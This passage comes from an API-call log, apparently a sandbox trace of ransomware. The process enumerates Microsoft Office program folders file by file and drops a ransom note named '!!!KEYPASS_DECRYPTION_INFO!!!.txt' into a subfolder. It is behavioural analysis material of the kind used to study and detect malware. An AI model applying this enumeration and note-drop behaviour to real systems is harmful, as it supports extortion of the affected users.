Files\\Microsoft Office\\root\\Office16\\1033\\offsymxl.ttf") returned=".ttf" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OMICAUTINTL.DLL") returned=".DLL" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OMSINTL.DLL") returned=".DLL" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS") returned=".HXS" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC") returned=".HXC" [0245.272] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.272] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXT") returned=".HXT" [0245.272] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.272] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_F_COL.HXK") returned=".HXK" [0245.272] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.272] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_K_COL.HXK") returned=".HXK" [0245.272] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_WHATSNEW.XML") returned=".XML" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONGuide.onepkg") returned=".onepkg" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONINTL.DLL") returned=".DLL" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCH.VRD") returned=".VRD" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM") returned=".CHM" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL") returned=".VSL" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCINTL.DLL") returned=".DLL" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGPOS.VRD") returned=".VRD" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGWIZ.VSL") returned=".VSL" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ospintl.dll") returned=".dll" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT") returned=".DAT" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLLIBR.DLL") returned=".DLL" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.274] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HOL") returned=".HOL" [0245.274] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS") returned=".HXS" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXC") returned=".HXC" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_COL.HXT") returned=".HXT" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_F_COL.HXK") returned=".HXK" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_K_COL.HXK") returned=".HXK" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK_WHATSNEW.XML") returned=".XML" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H") returned=".H" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.INI") returned=".INI" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLWVW.DLL") returned=".DLL" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASSPORT.CSS") returned=".CSS" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PASTEL.CSS") returned=".CSS" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PE.VSL") returned=".VSL" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.275] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PIPELINE.VRD") returned=".VRD" [0245.275] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PJINTL.DLL") returned=".DLL" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PMENURES.DLL") returned=".DLL" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT.HXS") returned=".HXS" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXC") returned=".HXC" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_COL.HXT") returned=".HXT" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_F_COL.HXK") returned=".HXK" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\POWERPNT_K_COL.HXK") returned=".HXK" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.276] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PPINTL.DLL") returned=".DLL" [0245.276] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PPT_WHATSNEW.XML") returned=".XML" [0245.277] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX") returned=".POTX" [0245.277] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX") returned=".POTX" [0245.277] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS") returned=".CSS" [0245.277] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSL") returned=".VSL" [0245.277] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.277] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROPRPT.VSSX") returned=".VSSX" [0245.277] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.279] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTOCOLHANDLERINTL.DLL") returned=".DLL" [0245.279] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.279] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC") returned=".DOC" [0245.279] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT") returned=".PPT" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS") returned=".XLS" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC") returned=".DOC" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT") returned=".PPT" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS") returned=".XLS" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\prstevnt.VSL") returned=".VSL" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT") returned=".DAT" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLEX.DAT") returned=".DAT" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT") returned=".DAT" [0245.280] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.280] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT") returned=".DAT" [0245.281] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.281] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT") returned=".DAT" [0245.281] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.281] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUB6INTL.DLL") returned=".DLL" [0245.281] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.281] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM") returned=".SCM" [0245.281] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.281] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0245.281] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0245.281] GetLastError () returned 0x3f0 [0245.281] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0245.281] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0245.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x614 [0245.316] GetFileType (hFile=0x614) returned 0x1 [0245.316] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0245.316] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0245.316] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0245.317] WriteFile (in: hFile=0x614, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0245.317] WriteFile (in: hFile=0x614, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0245.318] CloseHandle (hObject=0x614) returned 1 [0245.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x2e79cd8 [0245.318] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.318] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0245.318] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\FONTSCHM.INI") returned=".INI" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.319] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS") returned=".CSS" [0245.319] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME15.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME16.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME17.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME18.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME19.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME20.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME21.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME22.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME23.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME24.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME25.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME26.CSS") returned=".CSS" [0245.320] FindNextFileW (in: hFindFile=0x2e79cd8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0245.320] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 